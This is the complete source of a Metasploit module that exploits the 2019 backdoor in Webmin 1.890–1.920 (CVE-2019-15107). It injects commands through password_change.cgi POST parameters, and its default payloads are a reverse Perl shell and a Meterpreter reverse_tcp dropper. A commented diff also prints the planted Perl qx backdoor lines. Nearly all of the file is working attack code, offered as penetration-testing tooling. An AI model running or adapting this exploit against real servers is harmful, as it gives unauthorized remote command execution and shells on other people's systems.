##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'               => 'Webmin password_change.cgi Backdoor',
      'Description'        => %q{
        This module exploits a backdoor in Webmin versions 1.890 through 1.920.
        Only the SourceForge downloads were backdoored, but they are listed as
        official downloads on the project's site.

        Unknown attacker(s) inserted Perl qx statements into the build server's
        source code on two separate occasions: once in April 2018, introducing
        the backdoor in the 1.890 release, and in July 2018, reintroducing the
        backdoor in releases 1.900 through 1.920.

        Only version 1.890 is exploitable in the default install. Later affected
        versions require the expired password changing feature to be enabled.
      },
      'Author'             => [
        'AkkuS', # (Özkan Mustafa Akkuş) Discovery and independent module
        'wvu'    # This module and updated information about the backdoor
      ],
      'References'         => [
        ['CVE', '2019-15107'], # y tho
        ['URL', 'http://www.webmin.com/exploit.html'],
        ['URL', 'https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html'],
        ['URL', 'https://blog.firosolutions.com/exploits/webmin/'],
        ['URL', 'https://github.com/webmin/webmin/issues/947']
      ],
      'DisclosureDate'     => '2019-08-10',
      'License'            => MSF_LICENSE,
      'Platform'           => ['unix', 'linux'],
      'Arch'               => [ARCH_CMD, ARCH_X86, ARCH_X64],
      'Privileged'         => true,
      'Targets'            => [
        ['Automatic (Unix In-Memory)',
          'Platform'       => 'unix',
          'Arch'           => ARCH_CMD,
          'Version'        => [
            Gem::Version.new('1.890'), Gem::Version.new('1.920')
          ],
          'Type'           => :unix_memory,
          'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'}
        ],
        ['Automatic (Linux Dropper)',
          'Platform'       => 'linux',
          'Arch'           => [ARCH_X86, ARCH_X64],
          'Version'        => [
            Gem::Version.new('1.890'), Gem::Version.new('1.920')
          ],
          'Type'           => :linux_dropper,
          'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'}
        ]
      ],
      'DefaultTarget'      => 0,
      'Notes'              => {
        'Stability'        => [CRASH_SAFE],
        'Reliability'      => [REPEATABLE_SESSION],
        'SideEffects'      => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
      }
    ))

    register_options([
      Opt::RPORT(10000),
      OptString.new('TARGETURI', [true, 'Base path to Webmin', '/'])
    ])

    register_advanced_options([
      OptBool.new('ForceExploit', [false, 'Override check result', false])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path)
    )

    unless res
      vprint_error('Server did not respond')
      return CheckCode::Unknown
    end

    version =
      res.headers['Server'].to_s.scan(%r{MiniServ/([\d.]+)}).flatten.first

    unless version
      vprint_error('Webmin version not detected')
      return CheckCode::Unknown
    end

    version = Gem::Version.new(version)

    vprint_status("Webmin #{version} detected")
    checkcode = CheckCode::Detected

    unless version.between?(*target['Version'])
      vprint_error("Webmin #{version} is not a supported target")
      return CheckCode::Safe
    end

    vprint_good("Webmin #{version} is a supported target")
    checkcode = CheckCode::Appears

    res = execute_command("echo #{token}")

    unless res
      vprint_error('Webmin did not respond to check command')
      return checkcode
    end

    if res.body.include?('Password changing is not enabled!')
      vprint_error('Expired password changing disabled')
      return CheckCode::Safe
    end

    if res.body.include?(token)
      vprint_good('Webmin executed a benign check command')
      checkcode = CheckCode::Vulnerable
    else
      vprint_error('Webmin did not execute our check command')
      return CheckCode::Safe
    end

    checkcode
  end

  def exploit
    # These CheckCodes are allowed to pass automatically
    checkcodes = [
      CheckCode::Appears,
      CheckCode::Vulnerable
    ]

    unless checkcodes.include?(check) || datastore['ForceExploit']
      fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
    end

    print_status("Configuring #{target.name} target")

    case target['Type']
    when :unix_memory
      print_status("Sending #{datastore['PAYLOAD']} command payload")
      vprint_status("Generated command payload: #{payload.encoded}")

      res = execute_command(payload.encoded)

      if res && datastore['PAYLOAD'] == 'cmd/unix/generic'
        print_warning('Dumping command output in full response body')

        if res.body.empty?
          print_error('Empty response body, no command output')
          return
        end

        print_line(res.body)
      end
    when :linux_dropper
      print_status("Sending #{datastore['PAYLOAD']} command stager")
      execute_cmdstager
    end
  end

=begin
wvu@kharak:~/Downloads$ diff3 webmin-1.{890,930,920}/password_change.cgi
====2
1:1c
3:1c
  #!/usr/bin/perl
2:1c
  #!/usr/local/bin/perl
====1
1:12c
  $in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;
2:12c
3:12c
  $miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";
====3
1:40c
2:40c
  	$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
3:40c
  	$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
====3
1:200c
2:200c
  # Show ok page
3:200c

wvu@kharak:~/Downloads$
=end
  def execute_command(cmd, _opts = {})
    send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'password_change.cgi'),
      'headers'   => {'Referer' => full_uri},
      'vars_post' => {
        # 1.890
        'expired' => cmd,
        # 1.900-1.920
        'new1'    => token,
        'new2'    => token,
        'old'     => cmd
      }
    }, 3.5)
  end

  def token
    @token ||= Rex::Text.rand_text_alphanumeric(8..42)
  end

end
